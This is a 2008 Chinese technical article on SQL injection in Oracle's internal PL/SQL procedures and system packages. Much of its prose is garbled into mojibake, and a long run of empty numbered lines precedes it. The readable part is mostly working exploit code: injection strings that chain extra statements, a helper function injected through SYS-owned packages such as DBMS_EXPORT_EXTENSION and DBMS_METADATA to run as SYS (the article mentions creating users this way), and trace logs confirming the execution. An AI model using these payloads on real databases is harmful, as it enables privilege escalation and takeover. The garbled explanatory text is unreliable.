Home 电脑技术 安全技术 深入挖掘ORACLE内部SQLINJECTION
深入挖掘ORACLE内部SQLINJECTION E-mail
作者:洋葱圈   
周三, 18 6月 2008 19:06

一、前言

好久没写PAPER了,日久之疏懒成性。我觉得在国内的ORACLE攻防技术研究得比较少,比较欠缺。或许是我孤陋寡闻。在国外许许多多的PAPER已经成为了ORACLE攻击技术的经典。那么接下来的就是跟大家讨论一下关于ORACLE内部SQL注射技术。相信大家都看过我写的《ART OF WEB-SQL-INJECTION第2卷 ORACLE篇 》07年的初的时候,本文已经写好《检测函数注入in ORACLE》。可惜在偶的一次数据丢失中,许多PAPER进了坟墓。如今标题换了为《深入挖掘ORACLE内部SQLINJECTION》,为什么?其实ORACLE的内部SQL注射不单单出自于函数 存储过程,如果你是这样想的话,那就太狭隘了,其实还有好多的地方还是会出现SQL注射的。例如他的TRIGGER,SQLJ,JOB等等…希望本文可以让你在ORACLE攻防中受益,接下来就轮到大家拍砖了。

 

二、正文

 

   1 

   2 

   3 
   4 
   5 
   6 
   7 
   8 
   9 

  10 
  11 
  12 

  13 
  14 

  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 

  38 

  39 
  40 
  41 

  42 

  43 

  44 
  45 
  46 

  47 
  48 

  49 

  50 

  51 
  52 
  53 

  54 
  55 
  56 
  57 
  58 
  59 
  60 
  61 
  62 

  63 
  64 
  65 
  66 
  67 
  68 
  69 
  70 
  71 
  72 
  73 
  74 
  75 
  76 

  77 

  78 

  79 
  80 

  81 
  82 
  83 
  84 

  85 
  86 
  87 
  88 
  89 
  90 
  91 
  92 
  93 
  94 

  95 
  96 
  97 
  98 

  99 

 100 
 101 

 102 
 103 
 104 

 105 
 106 
 107 
 108 

 109 

 110 
 111 
 112 
 113 

 114 
 115 
 116 
 117 
 118 
 119 
 120 
 121 
 122 
 123 

 124 
 125 
 126 


 127 
 128 
 129 
 130 
 131 


 132 

 133 
 134 

 135 

 136 

 137 
 138 
 139 
 140 
 141 
 142 
 143 
 144 

 145 

 146 
 147 
 148 
 149 

 150 
 151 
 152 

 153 
 154 

 155 

 156 
 157 
 158 

 159 
 160 

 161 
 162 

 163 

 164 

 165 
 166 
 167 
 168 
 169 
 170 

 171 
 172 
 173 

 174 
 175 
 176 
 177 

 178 
 179 
 180 
 181 
 182 
 183 
 184 

 185 
 186 

 187 
 188 

 189 
 190 

 191 

 192 
 193 
 194 

 195 

 196 
 197 
 198 

 199 
 200 

 201 

 202 

 203 
 204 

 205 
 206 
 207 

 208 
 209 

 210 

 211 

 212 
 213 

 214 



















 215 
 216 
 217 

 218 
 219 
 220 

 221 
 222 
 223 

 224 
 225 

 226 
 227 
 228 

 229 
 230 
 231 

 232 

 233 

 234 

 235 

 236 
 237 

 238 

 239 
 240 
 241 

 242 
 243 
 244 

 245 
 246 
 247 

 248 
 249 

 250 
 251 

 252 

 253 

 254 

 255 

 256 

 257 
 258 

 259 

 260 

 261 

 262 
 263 

 264 

 265 
 266 

 267 
 268 

 269 
 270 

 271 

 272 

 273 
 274 

 275 
 276 

 277 
 278 
 279 

 280 
 281 

 282 
 283 

 284 
 285 

 286 

 287 

 288 
 289 

 290 
 291 
 292 

 293 
 294 

 295 

 296 

 297 

 298 

 299 

 300 

 301 
 302 

 303 
 304 
 305 
 306 
 307 
 308 
 309 
 310 
 311 

 312 
 313 

 314 
 315 
 316 

 317 
 318 
 319 

 320 

 321 

 322 

 323 
 324 

 325 

 326 
 327 

 328 
 329 

 330 
 331 

 332 

 333 

 334 
 335 

 336 
 337 
 338 

 339 
 340 

 341 

 342 

 343 

 344 

 345 

 346 
 347 

 348 
 349 
 350 

 351 

 352 

 353 
 354 

 355 


 356 
 357 

 358 
 359 

 360 
 361 
 362 

 363 

 364 

 365 
 366 

 367 

 368 
 369 

 370 
 371 

 372 
 373 

 374 

 375 

 376 
 377 

 378 
 379 

 380 
 381 
 382 

 383 
 384 

 385 
 386 

 387 
 388 

 389 

 390 

 391 
 392 

 393 
 394 
 395 

 396 
 397 

 398 

 399 

 400 

 401 

 402 

 403 

 404 
 405 

 406 
 407 
 408 
 409 
 410 
 411 
 412 
 413 
 414 

 415 
 416 

 417 
 418 
 419 

 420 
 421 
 422 

 423 

 424 

 425 
 426 

 427 

 428 
 429 

 430 
 431 

 432 
 433 

 434 

 435 

 436 
 437 

 438 
 439 
 440 
 441 

 442 
 443 

 444 
 445 

 446 
 447 
 448 

 449 
 450 
 451 
 452 
 453 

 454 

 455 
 456 
 457 
 458 
 459 
 460 
 461 
 462 
 463 

 464 
 465 
 466 

 467 
 468 
 469 

 470 
 471 
 472 

 473 
 474 
 475 

 476 
 477 
 478 
 479 
 480 

 481 
 482 
 483 
 484 

 485 
 486 
 487 
 488 
 489 
 490 
 491 
 492 
 493 
 494 
 495 
 496 
 497 
 498 
 499 
 500 
 501 
 502 
 503 
 504 
 505 
 506 
 507 
 508 
 509 
 510 
 511 
 512 
 513 
 514 


 515 

 516 
 517 

 518 
 519 

 520 
 521 

 522 
 523 
 524 
 525 

 526 
 527 
 528 
 529 
 530 
 531 
 532 
 533 
 534 

 535 

 536 
 537 
 538 
 539 
 540 
 541 
 542 
 543 
 544 
 545 
 546 
 547 
 548 
 549 
 550 
 551 
 552 
 553 
 554 
 555 
 556 
 557 

 558 
 559 
 560 
 561 
 562 
 563 
 564 
 565 
 566 
 567 
 568 
 569 
 570 
 571 
 572 
 573 
 574 
 575 
 576 
 577 
 578 
 579 
 580 
 581 
 582 
 583 
 584 
 585 
 586 
 587 
 588 
 589 
 590 

 591 
 592 
ÔÚWEBÉÏÃæSQLINJECTIONÒѾ­³ÉΪµ±½ñËùνµÄ¡°ÈÕ¡±Õ¾Ö÷Á÷¡£Õâ
  Ͳϻǵݿ
²ãÃæµ½µ×ʲôÑùµÄ´æ´¢¹ý³Ì/º¯Êý»á³öÏÖSQLINJECTIONÄØ£¿Ê×ÏÈ
  һӣ

Example1:

CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
BEGIN
execute immediate 'begin insert into KJTESTTABLE 
  values('''|| injcode ||''');end;';
END;

¿´ÒÔÉϵĴ洢¹ý³Ì£¬°Ñ²ÎÊýдÈëÒ»¸ö±íÖУ¬ÔÚÒ»°ã¿ª·¢¾­³£ÓÐÕ
  ֡

ôĵã»ַ1д 
  KJTESTTABLE档

declare
begin
KJTEST('1');
end;

ôڿԶinjcodePOCһ

declare
begin
KJTEST('1'');dbms_output.put_line(''hello');
end;

ִķԿڿ̨hello

OKEXPͷdzдˣ

declare
begin
KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
end;

ÄÇô£¬ÕâÑùµÄ´æ´¢¹ý³ÌÖгöÏÖSQL×¢É䣬һ°ãÓû§Ð´µÄ´æ´¢¹ý³Ì
  ©á
ֻܡձˡSYS 
  SYSTEMϵͳԱûĴУʹ
ˡٿORAУȨ޵ģ͡

ÈçÏ£¬Ò»¸öÆÕͨȨÏÞµÄÓû§KJµ÷ÓÃsys.dbms_metadata.get_ddl
  Իȡijϵͳ
µÄDDLÔ´´úÂ룬ÄÇôµ±Õâ¸öº¯Êý±»µ÷ÓõÄʱºò£¬ÒòΪ¸Ãº¯ÊýÓµÓÐ
  SYS Ե߱
sysͬµÈ½ÇÉ«µÄȨÏÞ¡£¿ªÊ¼²Ù×÷²éѯϵͳ¶ÔÏó£¬È»ºó°Ñ½á¹û·´»¹
  KJٴתΪKJԼȨ
 ָʾ

û--->ú(תΪӵߵȨ)--->
  ִв--->ȡ--->(תΪԼȨ) --->

¿´Ã÷°×ÉÏÃæµÄÎÒÃǾͿÉÒÔ¼ÌÐøÁË£¬Èç¹ûÔÚSYSÓû§µÄ¶ÔÏóÖÐÓÐSQ
  Lע֣ôǾ
ÒÔSYSÓû§Éí·Ý×öʰüÀ¨Ìí¼ÓÓû§µÈ¡£ÄÇôÔÚÉÏÃæµÄEXP-CODEÖÐ
  ȫSYSû
ִexecute immediate 'create user kj identified by 
  kj'OKĵһ
۵

²¢²»ÊÇËùÓеÄORAÄÚ²¿SQL×¢Éä¶¼¿ÉÒÔÕâÑùʹÓõģ¡ÔÚÉÏÊöÕâ¸öÀ
  ѾǷ
ټˡҼãٿһ

Example2:

CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
tbn varchar2(1000);
BEGIN
execute immediate 'select table_name from user_tables 
  where table_name='''|| injcode ||''''
into tbn;
dbms_output.put_line(tbn);
END;

ôõʱô˷ʽ

declare
begin
KJTEST('KJTESTTABLE');
end;

鿴ûϵͳΪKJTESTTABLEļ¼

OK£¬ÏÖÔÚÁôÒâ´æ´¢¹ý³ÌÖÐʹÓö¯Ì¬Ö´ÐÐSQLÓï¾ä£¬ÒòΪĿ±êÔËÐÐ
  ǵSQL䣬ô
ÃDz»ÄÜÏñÀý×Ó1ÄÇÑùʹÓöàÓï¾ä½øÐй¥»÷£¬µ«ÊÇÎÒÃÇ¿ÉÒÔ¿ØÖƵ±
  ǰִе̡и
·¨£¬¾ÍÊÇÎÒÃÇ·ÅÈëÒ»¸ö½¨Á¢EXPµÄº¯Êý¡£ÈÃÕâ¸öSQLÖ´Ðе÷Ó᣿
  ã

CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER 
  AUTHID CURRENT_USER IS
RESULT INTEGER;
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE 
  VALUES(021320)';
COMMIT;
RETURN(RESULT);
END KJHACKEREXP;

declare
begin
KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
end;

OK£¬ÕâÑù¾ÍÊÇÔÚORACLEÀïÃæ²úÉúµÄSQLINJECTION£¬Ç°Ï·Íê±Ï£¡Ï
  ڽھ򲿷֡

ھΪ2֣ں׺зʽ

Ê×ÏȽéÉܼòµ¥µÄÊǰ׺з½Ê½£¬ORACLEÖÐÿ¸ö¶ÔÏóµÄSOURCE¶¼»á±
  ݿڵġô
ÎÒÃÇ¿ÉÒÔ²ÉÓÃÒ»¸ö´æ´¢¹ý³ÌÀ´»ñÈ¡SYS.DBMS_METADATA.GET_DDL
  һ䣺

SELECT 
  SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
FROM DUAL

ԻȡöData Declare 
  SourceȻҲԼѯ

SELECT * from all_source

µ«ÊÇÊÇ·ñÕâô¼òµ¥ÄØ£¿µ±È»²»»áÁË£¬ÔÚORACLEÖУ¬Ò²ÌṩÁ˶Դ
  洢̺ȼֶܵΣ
ÀàËÆSQLSERVERµÄ´æ´¢¹ý³Ì¼ÓÃÜ¡£ËùÒÔµ±Äã²é¿´ctxsys.CTX_DDL
  ʱᷢ¶֣

create or replace package body ctxsys.CTX_DDL wrapped

¶Ô£¬¾ÍÊÇORACLEÖÐwrap¼ÓÃܱàÂëÁË£¬ÄÇô¾ÍÖ»ÄܺںвâÊÔÁË£¬²
  Եʱȥȡʱ
ORACLEִеIJأͨµķ

1ORACLE ߷ traces ļ 
2ORACLE־ 
3ݿⴥ( TRIGGER)ز 
4ѯORACLE SQL (SGA)

ȵȣORACLE洢̵Ȼòˡ

ÏÂÃæÏȽéÉܲÉÓÃ×î¼òµ¥µÄ²éѯSGA£¬ÄûØÀ´Õâ¸ö±È½Ï¾­µäµÄEXPÖ
  һ£

SELECT
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO'
  ,'BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LIN
  E(''KJ021320'');END;--','SYS',0,'1',0)
FROM DUAL

Ȼִ²鿴SGA

SELECT A.ADDRESS ADDRESS,S.HASH_VALUE 
  HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT 
  SQL_TEXT,U.USERNAME
PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM 
  V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
A.HASH_VALUE=S.HASH_VALUE AND 
  A.PARSING_USER_ID=U.USER_ID AND
A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' 
  FROM V$SQLTEXT_WITH_NEWLINES
X WHERE X.ADDRESS=A.ADDRESS AND 
  X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
'%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3

õ½

ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID
PARSING_SCHEMA_ID
668C9120 1612804047 0 BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('
  KJ0 SYS SYS
668C9120 1612804047 1 
  21320');END;--".ODCIIndexUtilCleanup(:p1); END;
SYS SYS

BEGIN
"SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('
  KJ021320');END;
--".ODCIIndexUtilCleanup(:p1); END;

ÒòΪËüÄÚ²¿ÊÇÒ»¸ö¶àÓï¾äµÄ×¢Éäµã£¬ËùÒÔÎÒÃÇ¿ÉÒÔ²ÉÓÃExample
  1Ĺʽ

ǼʹORACLE 
  TRACEķʽм¼мַԵõһSQL
Óï¾äÖ´ÐÐʱºǫ́µÄtraceÎļþ£¬Ò»¸öÊÇÓÃSQL_TRACE£¬Ò»¸öÊÇÓÃD
  BMS_SUPPORTDBMS_SYSTEM
һ־ֱʹ10046 event巽ʽ£

ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT 
  FOREVER, LEVEL 12';
YOUR SQL STATEMENT...
ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT 
  OFF';

ÆäÖеÄlevelÓÐ1£¬4£¬8£¬12¼¸¸öÑ¡ÏÆäÖÐ1Ï൱ÓÚÉèÖÃSQL_TR
  ACE=TRUE֮Ľ4
1µÄ½á¹ûºÍ°ó¶¨±äÁ¿µÄʵ¼ÊÖµ£¬8°üÀ¨1µÄ½á¹ûºÍµÈ´ýʼþµÄÇé¿ö
  12ͬʱ1Ľ
ʵֵ͵ȴ¼Կ˵level 
  12Ϊϸtraceˡ

OK˵ꡣùȥһ©ԣ

http://www.milw0rm.com/exploits/3363

ÕâÀïµÄSYS.DBMS_METADATA.GET_DDL³öÏÖSQL×¢Èë©¶´£¬ÄÇô¿´Î
  PLSQLô
עڲǰϷ

CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER 
  AUTHID CURRENT_USER IS
RESULT INTEGER;
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE 
  VALUES(1,021320)';
COMMIT;
RETURN(RESULT);
END KJHACKEREXP;

Ϊص䣺

ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT 
  FOREVER, LEVEL 12';

SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKER
  EXP()||''','') FROM DUAL;

ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT 
  OFF';

Ö´ÐÐÖ®ºó·¢ÏÖÒì³££¬ºöÂÔµô¾Í¿ÉÒÔ¡£OK£¬ÎÒÕÒµ½oracle\admin\
  {SID}\udump Ŀ¼
Ò»´ó¶ÑtrcÎļþ£¬ÕÒÕÒ¿´ÒÔÏÂÊDz¶×½µ½µÄ¼Ç¼£¬ºÜ¶àºÜÂÒÌù³öÀ´
  ϰߵ£

=====================
PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 
  tim=5821472460 hv=3907016812 ad='666488bc'
SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKER
  EXP()||''','') FROM DUAL
ǿʼ
END OF STMT
PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,
  tim=5821472453
BINDS #1:
EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5821473044
WAIT #1: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 712 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 
  tim=5821474773 hv=3714800427 ad='665afb10'
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
END OF STMT
PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,t
  im=5821474767
BINDS #4:
EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
  m=5821475306
FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,ti
  m=5821475420
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
  FULL DUAL '
=====================
PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 
  tim=5821479726 hv=2617299981 ad='665793f0'
SELECT properties, version, xmltag, udt, schema, 
  viewname, flags, decode(bitand(flags,1), 0, 0, 1), 
  decode(bitand(flags,2), 0, 0, 1), 
  decode(bitand(flags,4), 0, 0, 1), 
  decode(bitand(flags,8), 0, 0, 1), 
  decode(bitand(flags,16), 0, 0, 1), 
  decode(bitand(flags,32), 0, 0, 1), 
  decode(bitand(flags,64), 0, 0, 1), 
  decode(bitand(flags,128), 0, 0, 1), 
  decode(bitand(flags,256), 0, 0, 1), 
  decode(bitand(flags,512), 0, 0, 1), 
  decode(bitand(flags,1024), 0, 0, 1), 
  decode(bitand(flags,2048), 0, 0, 1), 
  decode(bitand(flags,4096), 0, 0, 1), 
  decode(bitand(flags,8192), 0, 0, 1), 
  decode(bitand(flags,16384), 0, 0, 1), 
  decode(bitand(flags,32768), 0, 0, 1) FROM 
  sys.metaview$ WHERE 
  type=''||KJ021320.KJHACKEREXP()||'' AND 
  model='ORACLE' AND version<=902000000
һע㣡
END OF STMT
PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,
  tim=5821479719
BINDS #4:
=====================
PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 
  tim=5821480756 hv=1324055951 ad='6684058c'
INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
END OF STMT
PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,t
  im=5821480750
BINDS #5:
EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,ti
  m=5821481459
XCTEND rlbk=0, rd_only=0
=====================
PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 
  tim=5821485357 hv=3615375148 ad='6683f908'
COMMIT
END OF STMT
EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,t
  im=5821485350
EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,t
  im=5821485780
FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
  m=5821485932
STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS
  BY INDEX ROWID METAVIEW$ '
STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE 
  SCAN I_METAVIEW$ '
=====================
PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 
  tim=5821489243 hv=1567650580 ad='665750fc'
SELECT COUNT(*) FROM sys.metaview$ WHERE 
  type=''||KJ021320.KJHACKEREXP()||''

END OF STMT
PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,
  tim=5821489235
BINDS #4:
=====================
PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 
  tim=5821489578 hv=1324055951 ad='6684058c'
INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
END OF STMT
PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,ti
  m=5821489574
BINDS #5:
EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,ti
  m=5821489747
XCTEND rlbk=0, rd_only=0
EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim
  =5821489880
EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,ti
  m=5821489928
FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,ti
  m=5821489962
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE
  '
STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE 
  SCAN I_METAVIEW$ '
FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=
  4,tim=5821491101
WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
WAIT #1: nam='SQL*Net break/reset to client' ela= 74 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net break/reset to client' ela= 204 
  p1=1413697536 p2=0 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 3958 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 
  tim=5821500658 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
  end;
END OF STMT
PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
  im=5821500653
BINDS #4:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #4: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5821500860
WAIT #4: nam='SQL*Net message from client' ela= 2708856
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 
  tim=5824210045 hv=678177122 ad='669adadc'
begin
sys.dbms_output.get_line(line => :line, status => 
  :status);
end;
END OF STMT
PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
  im=5824210040
BINDS #4:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=24 offset=0
bfp=04a8fb80 bln=22 avl=00 flg=05
WAIT #4: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5824210269
WAIT #4: nam='SQL*Net message from client' ela= 6717782
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 
  tim=5830928325 hv=2888538493 ad='669abe84'
select 'x' from dual
END OF STMT
PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5830928320
BINDS #4:
EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
  =5830928419
WAIT #4: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message from client' ela= 406 
  p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5830928945
WAIT #4: nam='SQL*Net message from client' ela= 515 
  p1=1413697536 p2=1 p3=0
STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
  FULL DUAL '
=====================
PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61
  tim=5830929706 hv=2628502993 ad='669c5924'
begin
if :enable = 0 then
sys.dbms_output.disable;
else
sys.dbms_output.enable(:size);
end if;
end;
END OF STMT
PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,t
  im=5830929702
BINDS #4:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=48 offset=0
bfp=04a8fb68 bln=22 avl=02 flg=05
value=1
bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01
  oacfl2=0 size=0 offset=24
bfp=04a8fb80 bln=22 avl=02 flg=01
value=10000
WAIT #4: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5830930021
WAIT #4: nam='SQL*Net message from client' ela= 38283 
  p1=1413697536 p2=1 p3=0
STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS
  FULL DUAL '
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 
  tim=5830968630 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
  end;
END OF STMT
PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5830968625
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5830968820
WAIT #1: nam='SQL*Net message from client' ela= 456 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 
  tim=5830969751 hv=1998264515 ad='6683df78'
SELECT * FROM KJTESTTABLE
END OF STMT
PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,t
  im=5830969746
BINDS #1:
EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim
  =5830969837
WAIT #1: nam='SQL*Net message to client' ela= 3 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message from client' ela= 453 
  p1=1413697536 p2=1 p3=0
WAIT #1: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,ti
  m=5830970423
WAIT #1: nam='SQL*Net message from client' ela= 3199 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 
  tim=5830973736 hv=1998264515 ad='6683df78'
SELECT * FROM KJTESTTABLE
END OF STMT
PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5830973731
WAIT #4: nam='SQL*Net message to client' ela= 2 
  p1=1413697536 p2=1 p3=0
WAIT #4: nam='SQL*Net message from client' ela= 20741 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 
  tim=5830994714 hv=189272129 ad='66f9f01c'
select o.owner#,o.name,o.namespace,o.remoteowner,o.link
  name,o.subname,o.dataobj#,o.flags from obj$ o where 
  o.obj#=:1
END OF STMT
PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,ti
  m=5830994709
BINDS #5:
bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08
  oacfl2=1 size=24 offset=0
bfp=04bfa444 bln=22 avl=04 flg=05
value=30183
EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim
  =5830994889
FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,ti
  m=5830994941
STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE 
  ACCESS FULL KJTESTTABLE '
=====================
PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 
  tim=5830995126 hv=3517412409 ad='669b2620'
begin :id := sys.dbms_transaction.local_transaction_id;
  end;
END OF STMT
PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
  m=5830995122
BINDS #1:
bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 
  oacflg=01 oacfl2=10 size=2000 offset=0
bfp=04c0f830 bln=2000 avl=00 flg=05
WAIT #1: nam='SQL*Net message to client' ela= 4 
  p1=1413697536 p2=1 p3=0
EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,ti
  m=5830995299
WAIT #1: nam='SQL*Net message from client' ela= 16489 
  p1=1413697536 p2=1 p3=0
=====================
PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 
  tim=5831012027 hv=678177122 ad='669adadc'
begin
sys.dbms_output.get_line(line => :line, status => 
  :status);
end;
END OF STMT
PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,ti
